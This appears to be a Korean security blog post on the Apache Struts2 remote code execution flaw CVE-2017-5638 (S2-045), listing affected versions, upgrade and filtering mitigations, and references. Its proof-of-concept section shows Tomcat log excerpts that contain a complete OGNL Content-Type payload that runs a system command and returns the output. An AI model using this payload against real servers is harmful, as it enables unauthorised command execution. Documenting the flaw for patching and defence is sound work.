최초 작성일 : 2017/4/2


Apache Struts2 취약점 CVE-2017-5638 (S2-045)


1. 개요

- 파일 업로드 시도 중 Jakarta Multipart 파서의 잘못된 예외 처리 및 오류 메시지 생성 기능을 악용하여 원격 코드 실행

- 공격자가 Content-Type, Content-Disposition 또는 Content-Length HTTP 헤더를 통해 임의의 명령을 실행 가능

- 2017년 3월 #cmd = String이 포함 된 Content-Type 헤더로 악용되었음을 발견함



2. 영향 받는 버전

- Apache Struts 2.3.5 ~ 2.3.31

- Apache Struts 2.5 ~ 2.5.10



3. 릴리즈 일자

- 2017/01/29 



4. 대응 방안

- Jakarta 기반 파일 업로드 Multipart 파서를 사용하는 경우 Apache Struts 버전 2.3.32 또는 2.5.10.1로 업그레이드
- Content-Type에 엄격한 필터링 적용 및 OGNL 표현식과 사용 금지
- commons-fileupload-x.x.x.jar 파일 삭제 (해당 파일 삭제 시 업로드 기능 사용 불가)



5. 참고자료

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-5638

https://cwiki.apache.org/confluence/display/WW/S2-045

http://www.boho.or.kr/data/secNoticeView.do?bulletin_writing_sequence=25264



6. POC (Proof Of Concept)


1) Victim 환경

- Windows 10 Pro

- Java 1.7.8_80

- Apache Tomcat 7.0.54


2) Attacker 환경

- CentOS 6 x64


3) 취약점 Scanning


4) 취약점 공격(exploit)


5) catalina.out log


 1 11, 2018 2:48:53 오후 org.apache.struts2.dispatcher.Dispatcher info

정보: Unable to find 'struts.multipart.saveDir' property setting. Defaulting to javax.servlet.context.tempdir

1 11, 2018 2:48:53 오후 org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest warn

경고: Unable to parse request

org.apache.commons.fileupload.FileUploadBase$InvalidContentTypeException: the request doesn't contain a multipart/form-data or multipart/mixed stream, content type header is %{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('wylvrmq','wylvrmq')}.multipart/form-data

        at org.apache.commons.fileupload.FileUploadBase$FileItemIteratorImpl.<init>(FileUploadBase.java:947)

        at org.apache.commons.fileupload.FileUploadBase.getItemIterator(FileUploadBase.java:310)

        at org.apache.commons.fileupload.FileUploadBase.parseRequest(FileUploadBase.java:334)

        at org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest.parseRequest(JakartaMultiPartRequest.java:188)

        at org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest.processUpload(JakartaMultiPartRequest.java:127)

        at org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest.parse(JakartaMultiPartRequest.java:92)

        at org.apache.struts2.dispatcher.multipart.MultiPartRequestWrapper.<init>(MultiPartRequestWrapper.java:84)

        at org.apache.struts2.dispatcher.Dispatcher.wrapRequest(Dispatcher.java:841)

        at org.apache.struts2.dispatcher.ng.PrepareOperations.wrapRequest(PrepareOperations.java:138)

        at org.apache.struts2.dispatcher.ng.filter.StrutsPrepareAndExecuteFilter.doFilter(StrutsPrepareAndExecuteFilter.java:91)

        at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:241)

        at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:208)

        at org.apache.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:220)

        at org.apache.catalina.core.StandardContextValve.invoke(StandardContextValve.java:122)

        at org.apache.catalina.authenticator.AuthenticatorBase.invoke(AuthenticatorBase.java:501)

        at org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:171)

        at org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:102)

        at org.apache.catalina.valves.AccessLogValve.invoke(AccessLogValve.java:950)

        at org.apache.catalina.core.StandardEngineValve.invoke(StandardEngineValve.java:116)

        at org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:408)

        at org.apache.coyote.http11.AbstractHttp11Processor.process(AbstractHttp11Processor.java:1040)

        at org.apache.coyote.AbstractProtocol$AbstractConnectionHandler.process(AbstractProtocol.java:607)

        at org.apache.tomcat.util.net.JIoEndpoint$SocketProcessor.run(JIoEndpoint.java:314)

        at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145)

        at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615)

        at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)

        at java.lang.Thread.run(Thread.java:745)

 

1 11, 2018 2:48:54 오후 org.apache.struts2.rest.RestActionInvocation info

정보: Executed action [/!index!xhtml!200] took 21 ms (execution: 7 ms, result: 14 ms)


 1 11, 2018 2:53:08 오후 org.apache.struts2.dispatcher.Dispatcher info

정보: Unable to find 'struts.multipart.saveDir' property setting. Defaulting to javax.servlet.context.tempdir

1 11, 2018 2:53:08 오후 org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest warn

경고: Unable to parse request

org.apache.commons.fileupload.FileUploadBase$InvalidContentTypeException: the request doesn't contain a multipart/form-data or multipart/mixed stream, content type header is %{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='ipconfig').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}

        at org.apache.commons.fileupload.FileUploadBase$FileItemIteratorImpl.<init>(FileUploadBase.java:947)

        at org.apache.commons.fileupload.FileUploadBase.getItemIterator(FileUploadBase.java:310)

        at org.apache.commons.fileupload.FileUploadBase.parseRequest(FileUploadBase.java:334)

        at org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest.parseRequest(JakartaMultiPartRequest.java:188)

        at org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest.processUpload(JakartaMultiPartRequest.java:127)

        at org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest.parse(JakartaMultiPartRequest.java:92)

        at org.apache.struts2.dispatcher.multipart.MultiPartRequestWrapper.<init>(MultiPartRequestWrapper.java:84)

        at org.apache.struts2.dispatcher.Dispatcher.wrapRequest(Dispatcher.java:841)

        at org.apache.struts2.dispatcher.ng.PrepareOperations.wrapRequest(PrepareOperations.java:138)

        at org.apache.struts2.dispatcher.ng.filter.StrutsPrepareAndExecuteFilter.doFilter(StrutsPrepareAndExecuteFilter.java:91)

        at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:241)

        at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:208)

        at org.apache.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:220)

        at org.apache.catalina.core.StandardContextValve.invoke(StandardContextValve.java:122)

        at org.apache.catalina.authenticator.AuthenticatorBase.invoke(AuthenticatorBase.java:501)

        at org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:171)

        at org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:102)

        at org.apache.catalina.valves.AccessLogValve.invoke(AccessLogValve.java:950)

        at org.apache.catalina.core.StandardEngineValve.invoke(StandardEngineValve.java:116)

        at org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:408)

        at org.apache.coyote.http11.AbstractHttp11Processor.process(AbstractHttp11Processor.java:1040)

        at org.apache.coyote.AbstractProtocol$AbstractConnectionHandler.process(AbstractProtocol.java:607)

        at org.apache.tomcat.util.net.JIoEndpoint$SocketProcessor.run(JIoEndpoint.java:314)

        at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145)

        at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615)

        at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)

        at java.lang.Thread.run(Thread.java:745)

 

1 11, 2018 2:53:08 오후 org.apache.struts2.rest.RestActionInvocation error

심각: Exception processing the result.

java.lang.IllegalStateException: getOutputStream() has already been called for this response

        at org.apache.catalina.connector.Response.getWriter(Response.java:636)

        at org.apache.catalina.connector.ResponseFacade.getWriter(ResponseFacade.java:213)

        at org.apache.struts2.dispatcher.ServletRedirectResult.sendRedirect(ServletRedirectResult.java:261)

        at org.apache.struts2.dispatcher.ServletRedirectResult.doExecute(ServletRedirectResult.java:229)

        at org.apache.struts2.dispatcher.StrutsResultSupport.execute(StrutsResultSupport.java:191)

        at org.apache.struts2.dispatcher.ServletRedirectResult.execute(ServletRedirectResult.java:164)

        at org.apache.struts2.dispatcher.ServletActionRedirectResult.execute(ServletActionRedirectResult.java:182)

        at org.apache.struts2.rest.RestActionInvocation.executeResult(RestActionInvocation.java:240)

        at org.apache.struts2.rest.RestActionInvocation.processResult(RestActionInvocation.java:197)

        at org.apache.struts2.rest.RestActionInvocation.invoke(RestActionInvocation.java:145)

        at com.opensymphony.xwork2.DefaultActionProxy.execute(DefaultActionProxy.java:147)

        at org.apache.struts2.dispatcher.Dispatcher.serviceAction(Dispatcher.java:567)

        at org.apache.struts2.dispatcher.ng.ExecuteOperations.executeAction(ExecuteOperations.java:81)

        at org.apache.struts2.dispatcher.ng.filter.StrutsPrepareAndExecuteFilter.doFilter(StrutsPrepareAndExecuteFilter.java:99)

        at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:241)

        at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:208)

        at org.apache.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:220)

        at org.apache.catalina.core.StandardContextValve.invoke(StandardContextValve.java:122)

        at org.apache.catalina.authenticator.AuthenticatorBase.invoke(AuthenticatorBase.java:501)

        at org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:171)

        at org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:102)

        at org.apache.catalina.valves.AccessLogValve.invoke(AccessLogValve.java:950)

        at org.apache.catalina.core.StandardEngineValve.invoke(StandardEngineValve.java:116)

        at org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:408)

        at org.apache.coyote.http11.AbstractHttp11Processor.process(AbstractHttp11Processor.java:1040)

        at org.apache.coyote.AbstractProtocol$AbstractConnectionHandler.process(AbstractProtocol.java:607)

        at org.apache.tomcat.util.net.JIoEndpoint$SocketProcessor.run(JIoEndpoint.java:314)

        at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145)

        at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615)

        at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)

        at java.lang.Thread.run(Thread.java:745)

 

1 11, 2018 2:53:08 오후 org.apache.struts2.rest.RestActionInvocation info

정보: Executed action [/!index!xhtml!200] took 17 ms (execution: 6 ms, result: 11 ms)




+ Recent posts